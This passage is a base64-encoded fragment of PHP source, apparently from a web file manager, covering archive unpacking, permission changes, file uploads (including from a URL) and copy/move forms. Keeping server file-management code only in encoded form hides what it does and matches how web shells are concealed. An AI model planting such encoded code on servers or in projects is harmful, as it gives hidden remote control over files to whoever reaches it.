WYWxpZCkgewogICAgICAgIC8vdG8gZm9sZGVyCiAgICAgICAgJHRvZm9sZGVyID0gJyc7CiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsndG9mb2xkZXInXSkpIHsKICAgICAgICAgICAgJHRvZm9sZGVyID0gcGF0aGluZm8oJHppcF9wYXRoLCBQQVRISU5GT19GSUxFTkFNRSk7CiAgICAgICAgICAgIGlmIChmbV9ta2RpcigkcGF0aCAuICcvJyAuICR0b2ZvbGRlciwgdHJ1ZSkpIHsKICAgICAgICAgICAgICAgICRwYXRoIC49ICcvJyAuICR0b2ZvbGRlcjsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgaWYgKCRleHQgPT0gInppcCIpIHsKICAgICAgICAgICAgJHppcHBlciA9IG5ldyBGTV9aaXBwZXIoKTsKICAgICAgICAgICAgJHJlcyA9ICR6aXBwZXItPnVuemlwKCR6aXBfcGF0aCwgJHBhdGgpOwogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0YXIiKSB7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAkZ3ppcHBlciA9IG5ldyBQaGFyRGF0YSgkemlwX3BhdGgpOwogICAgICAgICAgICAgICAgaWYgKEAkZ3ppcHBlci0+ZXh0cmFjdFRvKCRwYXRoLCBudWxsLCB0cnVlKSkgewogICAgICAgICAgICAgICAgICAgICRyZXMgPSB0cnVlOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkcmVzID0gZmFsc2U7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAgICAgICAgICAgLy9UT0RPOjogbmVlZCB0byBoYW5kbGUgdGhlIGVycm9yCiAgICAgICAgICAgICAgICAkcmVzID0gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgaWYgKCRyZXMpIHsKICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgdW5wYWNrZWQnKSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgbm90IHVucGFja2VkJyksICdlcnJvcicpOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpOwogICAgfQogICAgJEZNX1BBVEggPSBGTV9QQVRIOwogICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwp9CgovLyBDaGFuZ2UgUGVybXMgKG5vdCBmb3IgV2luZG93cykKaWYgKGlzc2V0KCRfUE9TVFsnY2htb2QnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkgJiYgIUZNX0lTX1dJTikgewoKICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCJJbnZhbGlkIFRva2VuLiIpLCAnZXJyb3InKTsKICAgIH0KCiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDsKICAgIGlmIChGTV9QQVRIICE9ICcnKSB7CiAgICAgICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsKICAgIH0KCiAgICAkZmlsZSA9ICRfUE9TVFsnY2htb2QnXTsKICAgICRmaWxlID0gZm1fY2xlYW5fcGF0aCgkZmlsZSk7CiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCcvJywgJycsICRmaWxlKTsKICAgIGlmICgkZmlsZSA9PSAnJyB8fCAoIWlzX2ZpbGUoJHBhdGggLiAnLycgLiAkZmlsZSkgJiYgIWlzX2RpcigkcGF0aCAuICcvJyAuICRmaWxlKSkpIHsKICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBub3QgZm91bmQnKSwgJ2Vycm9yJyk7CiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIOwogICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsKICAgIH0KCiAgICAkbW9kZSA9IDA7CiAgICBpZiAoIWVtcHR5KCRfUE9TVFsndXInXSkpIHsKICAgICAgICAkbW9kZSB8PSAwNDAwOwogICAgfQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3V3J10pKSB7CiAgICAgICAgJG1vZGUgfD0gMDIwMDsKICAgIH0KICAgIGlmICghZW1wdHkoJF9QT1NUWyd1eCddKSkgewogICAgICAgICRtb2RlIHw9IDAxMDA7CiAgICB9CiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnZ3InXSkpIHsKICAgICAgICAkbW9kZSB8PSAwMDQwOwogICAgfQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2d3J10pKSB7CiAgICAgICAgJG1vZGUgfD0gMDAyMDsKICAgIH0KICAgIGlmICghZW1wdHkoJF9QT1NUWydneCddKSkgewogICAgICAgICRtb2RlIHw9IDAwMTA7CiAgICB9CiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnb3InXSkpIHsKICAgICAgICAkbW9kZSB8PSAwMDA0OwogICAgfQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ293J10pKSB7CiAgICAgICAgJG1vZGUgfD0gMDAwMjsKICAgIH0KICAgIGlmICghZW1wdHkoJF9QT1NUWydveCddKSkgewogICAgICAgICRtb2RlIHw9IDAwMDE7CiAgICB9CgogICAgaWYgKEBjaG1vZCgkcGF0aCAuICcvJyAuICRmaWxlLCAkbW9kZSkpIHsKICAgICAgICBmbV9zZXRfbXNnKGxuZygnUGVybWlzc2lvbnMgY2hhbmdlZCcpKTsKICAgIH0gZWxzZSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ1Blcm1pc3Npb25zIG5vdCBjaGFuZ2VkJyksICdlcnJvcicpOwogICAgfQoKICAgICRGTV9QQVRIID0gRk1fUEFUSDsKICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsKfQoKLyoqKioqKioqKioqKioqKioqKioqKioqKioqKiBBQ1RJT05TICoqKioqKioqKioqKioqKioqKioqKioqKioqKi8KCi8vIGdldCBjdXJyZW50IHBhdGgKJHBhdGggPSBGTV9ST09UX1BBVEg7CmlmIChGTV9QQVRIICE9ICcnKSB7CiAgICAkcGF0aCAuPSAnLycgLiBGTV9QQVRIOwp9CgovLyBjaGVjayBwYXRoCmlmICghaXNfZGlyKCRwYXRoKSkgewogICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9Jyk7Cn0KCi8vIGdldCBwYXJlbnQgZm9sZGVyCiRwYXJlbnQgPSBmbV9nZXRfcGFyZW50X3BhdGgoRk1fUEFUSCk7Cgokb2JqZWN0cyA9IGlzX3JlYWRhYmxlKCRwYXRoKSA/IHNjYW5kaXIoJHBhdGgpIDogYXJyYXkoKTsKJGZvbGRlcnMgPSBhcnJheSgpOwokZmlsZXMgPSBhcnJheSgpOwokY3VycmVudF9wYXRoID0gYXJyYXlfc2xpY2UoZXhwbG9kZSgiLyIsICRwYXRoKSwgLTEpWzBdOwppZiAoaXNfYXJyYXkoJG9iamVjdHMpICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGN1cnJlbnRfcGF0aCwgJHBhdGgpKSB7CiAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkgewogICAgICAgIGlmICgkZmlsZSA9PSAnLicgfHwgJGZpbGUgPT0gJy4uJykgewogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgaWYgKCFGTV9TSE9XX0hJRERFTiAmJiBzdWJzdHIoJGZpbGUsIDAsIDEpID09PSAnLicpIHsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQogICAgICAgICRuZXdfcGF0aCA9ICRwYXRoIC4gJy8nIC4gJGZpbGU7CiAgICAgICAgaWYgKEBpc19maWxlKCRuZXdfcGF0aCkgJiYgZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJG5ld19wYXRoKSkgewogICAgICAgICAgICAkZmlsZXNbXSA9ICRmaWxlOwogICAgICAgIH0gZWxzZWlmIChAaXNfZGlyKCRuZXdfcGF0aCkgJiYgJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicgJiYgZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJG5ld19wYXRoKSkgewogICAgICAgICAgICAkZm9sZGVyc1tdID0gJGZpbGU7CiAgICAgICAgfQogICAgfQp9CgppZiAoIWVtcHR5KCRmaWxlcykpIHsKICAgIG5hdGNhc2Vzb3J0KCRmaWxlcyk7Cn0KaWYgKCFlbXB0eSgkZm9sZGVycykpIHsKICAgIG5hdGNhc2Vzb3J0KCRmb2xkZXJzKTsKfQoKLy8gdXBsb2FkIGZvcm0KaWYgKGlzc2V0KCRfR0VUWyd1cGxvYWQnXSkgJiYgIUZNX1JFQURPTkxZKSB7CiAgICBmbV9zaG93X2hlYWRlcigpOyAvLyBIRUFERVIKICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7IC8vIGN1cnJlbnQgcGF0aAogICAgLy9nZXQgdGhlIGFsbG93ZWQgZmlsZSBleHRlbnNpb25zCiAgICBmdW5jdGlvbiBnZXRVcGxvYWRFeHQoKQogICAgewogICAgICAgICRleHRBcnIgPSBleHBsb2RlKCcsJywgRk1fVVBMT0FEX0VYVEVOU0lPTik7CiAgICAgICAgaWYgKEZNX1VQTE9BRF9FWFRFTlNJT04gJiYgJGV4dEFycikgewogICAgICAgICAgICBhcnJheV93YWxrKCRleHRBcnIsIGZ1bmN0aW9uICgmJHgpIHsKICAgICAgICAgICAgICAgICR4ID0gIi4keCI7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICByZXR1cm4gaW1wbG9kZSgnLCcsICRleHRBcnIpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJyc7CiAgICB9CiAgICA/PgogICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2Nzcy1kcm9wem9uZScpOyA/PgogICAgPGRpdiBjbGFzcz0icGF0aCI+CgogICAgICAgIDxkaXYgY2xhc3M9ImNhcmQgbWItMiBmbS11cGxvYWQtd3JhcHBlciIgZGF0YS1icy10aGVtZT0iPD9waHAgZWNobyBGTV9USEVNRTsgPz4iPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWhlYWRlciI+CiAgICAgICAgICAgICAgICA8dWwgY2xhc3M9Im5hdiBuYXYtdGFicyBjYXJkLWhlYWRlci10YWJzIj4KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9Im5hdi1saW5rIGFjdGl2ZSIgaHJlZj0iI2ZpbGVVcGxvYWRlciIgZGF0YS10YXJnZXQ9IiNmaWxlVXBsb2FkZXIiPjxpIGNsYXNzPSJmYSBmYS1hcnJvdy1jaXJjbGUtby11cCI+PC9pPiA8P3BocCBlY2hvIGxuZygnVXBsb2FkaW5nRmlsZXMnKSA/PjwvYT4KICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibmF2LWl0ZW0iPgogICAgICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0ibmF2LWxpbmsiIGhyZWY9IiN1cmxVcGxvYWRlciIgY2xhc3M9ImpzLXVybC11cGxvYWQiIGRhdGEtdGFyZ2V0PSIjdXJsVXBsb2FkZXIiPjxpIGNsYXNzPSJmYSBmYS1saW5rIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdVcGxvYWQgZnJvbSBVUkwnKSA/PjwvYT4KICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtYm9keSI+CiAgICAgICAgICAgICAgICA8cCBjbGFzcz0iY2FyZC10ZXh0Ij4KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/cD08P3BocCBlY2hvIEZNX1BBVEggPz4iIGNsYXNzPSJmbG9hdC1yaWdodCI+PGkgY2xhc3M9ImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnQgZ28tYmFjayI+PC9pPiA8P3BocCBlY2hvIGxuZygnQmFjaycpID8+PC9hPgogICAgICAgICAgICAgICAgICAgIDxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ0Rlc3RpbmF0aW9uRm9sZGVyJykgPz48L3N0cm9uZz46IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKEZNX1BBVEgpKSA/PgogICAgICAgICAgICAgICAgPC9wPgoKICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKEZNX1NFTEZfVVJMKSAuICc/cD0nIC4gZm1fZW5jKEZNX1BBVEgpID8+IiBjbGFzcz0iZHJvcHpvbmUgY2FyZC10YWJzLWNvbnRhaW5lciIgaWQ9ImZpbGVVcGxvYWRlciIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icCIgdmFsdWU9Ijw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+Ij4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmdWxscGF0aCIgaWQ9ImZ1bGxwYXRoIiB2YWx1ZT0iPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz4iPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRva2VuIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+Ij4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmYWxsYmFjayI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJmaWxlIiB0eXBlPSJmaWxlIiBtdWx0aXBsZSAvPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9mb3JtPgoKICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InVwbG9hZC11cmwtd3JhcHBlciBjYXJkLXRhYnMtY29udGFpbmVyIGhpZGRlbiIgaWQ9InVybFVwbG9hZGVyIj4KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBpZD0ianMtZm9ybS11cmwtdXBsb2FkIiBjbGFzcz0icm93IHJvdy1jb2xzLWxnLWF1dG8gZy0zIGFsaWduLWl0ZW1zLWNlbnRlciIgb25zdWJtaXQ9InJldHVybiB1cGxvYWRfZnJvbV91cmwodGhpcyk7IiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idHlwZSIgdmFsdWU9InVwbG9hZCIgYXJpYS1sYWJlbD0iaGlkZGVuIiBhcmlhLWhpZGRlbj0idHJ1ZSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ1cmwiIHBsYWNlaG9sZGVyPSJVUkwiIG5hbWU9InVwbG9hZHVybCIgcmVxdWlyZWQgY2xhc3M9ImZvcm0tY29udHJvbCIgc3R5bGU9IndpZHRoOiA4MCUiPgogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1wcmltYXJ5IG1zLTMiPjw/cGhwIGVjaG8gbG5nKCdVcGxvYWQnKSA/PjwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJsZHMtZmFjZWJvb2siPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXY+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBpZD0ianMtdXJsLXVwbG9hZF9fbGlzdCIgY2xhc3M9ImNvbC05IG10LTMiPjwvZGl2PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtZHJvcHpvbmUnKTsgPz4KICAgIDxzY3JpcHQ+CiAgICAgICAgRHJvcHpvbmUub3B0aW9ucy5maWxlVXBsb2FkZXIgPSB7CiAgICAgICAgICAgIGNodW5raW5nOiB0cnVlLAogICAgICAgICAgICBjaHVua1NpemU6IDw/cGhwIGVjaG8gVVBMT0FEX0NIVU5LX1NJWkU7ID8+LAogICAgICAgICAgICBmb3JjZUNodW5raW5nOiB0cnVlLAogICAgICAgICAgICByZXRyeUNodW5rczogdHJ1ZSwKICAgICAgICAgICAgcmV0cnlDaHVua3NMaW1pdDogMywKICAgICAgICAgICAgcGFyYWxsZWxVcGxvYWRzOiAxLAogICAgICAgICAgICBwYXJhbGxlbENodW5rVXBsb2FkczogZmFsc2UsCiAgICAgICAgICAgIHRpbWVvdXQ6IDEyMDAwMCwKICAgICAgICAgICAgbWF4RmlsZXNpemU6ICI8P3BocCBlY2hvIE1BWF9VUExPQURfU0laRTsgPz4iLAogICAgICAgICAgICBhY2NlcHRlZEZpbGVzOiAiPD9waHAgZWNobyBnZXRVcGxvYWRFeHQoKSA/PiIsCiAgICAgICAgICAgIGluaXQ6IGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgdGhpcy5vbigic2VuZGluZyIsIGZ1bmN0aW9uKGZpbGUsIHhociwgZm9ybURhdGEpIHsKICAgICAgICAgICAgICAgICAgICBsZXQgX3BhdGggPSAoZmlsZS5mdWxsUGF0aCkgPyBmaWxlLmZ1bGxQYXRoIDogZmlsZS5uYW1lOwogICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJmdWxscGF0aCIpLnZhbHVlID0gX3BhdGg7CiAgICAgICAgICAgICAgICAgICAgeGhyLm9udGltZW91dCA9IChmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICAgICAgdG9hc3QoJ0Vycm9yOiBTZXJ2ZXIgVGltZW91dCcpOwogICAgICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgfSkub24oInN1Y2Nlc3MiLCBmdW5jdGlvbihyZXMpIHsKICAgICAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgICAgICBsZXQgX3Jlc3BvbnNlID0gSlNPTi5wYXJzZShyZXMueGhyLnJlc3BvbnNlKTsKCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChfcmVzcG9uc2Uuc3RhdHVzID09ICJlcnJvciIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KF9yZXNwb25zZS5pbmZvKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgdG9hc3QoIkVycm9yOiBJbnZhbGlkIEpTT04gcmVzcG9uc2UiKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9KS5vbigiZXJyb3IiLCBmdW5jdGlvbihmaWxlLCByZXNwb25zZSkgewogICAgICAgICAgICAgICAgICAgIHRvYXN0KHJlc3BvbnNlKTsKICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgPC9zY3JpcHQ+Cjw/cGhwCiAgICBmbV9zaG93X2Zvb3RlcigpOwogICAgZXhpdDsKfQoKLy8gY29weSBmb3JtIFBPU1QKaWYgKGlzc2V0KCRfUE9TVFsnY29weSddKSAmJiAhRk1fUkVBRE9OTFkpIHsKICAgICRjb3B5X2ZpbGVzID0gaXNzZXQoJF9QT1NUWydmaWxlJ10pID8gJF9QT1NUWydmaWxlJ10gOiBudWxsOwogICAgaWYgKCFpc19hcnJheSgkY29weV9maWxlcykgfHwgZW1wdHkoJGNvcHlfZmlsZXMpKSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ05vdGhpbmcgc2VsZWN0ZWQnKSwgJ2FsZXJ0Jyk7CiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIOwogICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsKICAgIH0KCiAgICBmbV9zaG93X2hlYWRlcigpOyAvLyBIRUFERVIKICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7IC8vIGN1cnJlbnQgcGF0aAo/PgogICAgPGRpdiBjbGFzcz0icGF0aCI+CiAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCIgZGF0YS1icy10aGVtZT0iPD9waHAgZWNobyBGTV9USEVNRTsgPz4iPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWhlYWRlciI+CiAgICAgICAgICAgICAgICA8aDY+PD9waHAgZWNobyBsbmcoJ0NvcHlpbmcnKSA/PjwvaDY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWJvZHkiPgogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icCIgdmFsdWU9Ijw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+Ij4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaW5pc2giIHZhbHVlPSIxIj4KICAgICAgICAgICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRjb3B5X2ZpbGVzIGFzICRjZikgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlW10iIHZhbHVlPSInIC4gZm1fZW5jKCRjZikgLiAnIj4nIC4gUEhQX0VPTDsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgPz4KICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0iYnJlYWstd29yZCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnRmlsZXMnKSA/Pjwvc3Ryb25nPjogPGI+PD9waHAgZWNobyBpbXBsb2RlKCc8L2I+LCA8Yj4nLCAkY29weV9maWxlcykgPz48L2I+PC9wPgogICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJicmVhay13b3JkIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdTb3VyY2VGb2xkZXInKSA/Pjwvc3Ryb25nPjogPD9waHAgZWNobyBmbV9lbmMoZm1fY29udmVydF93aW4oRk1fUk9PVF9QQVRIIC4gJy8nIC4gRk1fUEFUSCkpID8+PGJyPgogICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJpbnBfY29weV90byI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnRGVzdGluYXRpb25Gb2xkZXInKSA/Pjwvc3Ryb25nPjo8L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIEZNX1JPT1RfUEFUSCA/Pi88aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29weV90byIgaWQ9ImlucF9jb3B5X3RvIiB2YWx1ZT0iPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz4iPgogICAgICAgICAgICAgICAgICAgIDwvcD4KICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0iY3VzdG9tLWNoZWNrYm94IGN1c3RvbS1jb250cm9sIj48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im1vdmUiIHZhbHVlPSIxIiBpZD0ianMtbW92ZS1maWxlcyIgY2xhc3M9ImN1c3RvbS1jb250cm9sLWlucHV0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ianMtbW92ZS1maWxlcyIgY2xhc3M9ImN1c3RvbS1jb250cm9sLWxhYmVsIG1zLTIiPjw/cGhwIGVjaG8gbG5nKCdNb3ZlJykgPz48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgIDwvcD4KICAgICAgICAgICAgICAgICAgICA8cD4KICAgICAgICAgICAgICAgICAgICAgICAgPGI+PGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4iIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtZGFuZ2VyIj48aSBjbGFzcz0iZmEgZmEtdGltZXMtY2lyY2xlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjwvYT48L2I+Jm5ic3A7CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRva2VuIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXN1Y2Nlc3MiPjxpIGNsYXNzPSJmYSBmYS1jaGVjay1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0NvcHknKSA/PjwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgIDwvcD4KICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KPD9waHAKICAgIGZtX3Nob3dfZm9vdGVyKCk7CiAgICBleGl0Owp9CgovLyBjb3B5IGZvcm0KaWYgKGlzc2V0KCRfR0VUWydjb3B5J10pICYmICFpc3NldCgkX0dFVFsnZmluaXNoJ10pICYmICFGTV9SRUFET05MWSkgewogICAgJGNvcHkgPSAkX0dFVFsnY29weSddOwogICAgJGNvcHkgPSBmbV9jbGVhbl9wYXRoKCRjb3B5KTsKICAgIGlmICgkY29weSA9PSAnJyB8fCAhZmlsZV9leGlzdHMoRk1fUk9PVF9QQVRIIC4gJy8nIC4gJGNvcHkpKSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpOwogICAgICAgICRGTV9QQVRIID0gRk1fUEFUSDsKICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7CiAgICB9CgogICAgZm1fc2hvd19oZWFkZXIoKTsgLy8gSEVBREVSCiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpOyAvLyBjdXJyZW50IHBhdGgKPz4KICAgIDxkaXYgY2xhc3M9InBhdGgiPgogICAgICAgIDxwPjxiPkNvcHlpbmc8L2I+PC9wPgogICAgICAgIDxwIGNsYXNzPSJicmVhay13b3JkIj4KICAgICAgICAgICAgPHN0cm9uZz5Tb3VyY2UgcGF0aDo8L3N0cm9uZz4gPD9waHAgZWNobyBmbV9lbmMoZm1fY29udmVydF93aW4oRk1fUk9PVF9QQVRIIC4gJy8nIC4gJGNvcHkpKSA/Pjxicj4KICAgICAgICAgICAgPHN0cm9uZz5EZXN0aW5hdGlvbiBmb2xkZXI6PC9zdHJvbmc+IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKEZNX1JPT1RfUEFUSCAuICcvJyAuIEZNX1BBVEgpKSA/PgogICAgICAgIDwvcD4KICAgICAgICA8cD4KICAgICAgICAgICAgPGI+PGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUoJGNvcHkpID8+JmFtcDtmaW5pc2g9MSI+PGkgY2xhc3M9ImZhIGZhLWNoZWNrLWNpcmNsZSI+PC9pPiBDb3B5PC9hPjwvYj4gJm5ic3A7CiAgICAgICAgICAgIDxiPjxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtjb3B5PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRjb3B5KSA/PiZhbXA7ZmluaXNoPTEmYW1wO21vdmU9MSI+PGkgY2xhc3M9ImZhIGZhLWNoZWNrLWNpcmNsZSI+PC9pPiBNb3ZlPC9hPjwvYj4gJm5ic3A7CiAgICAgICAgICAgIDxiPjxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb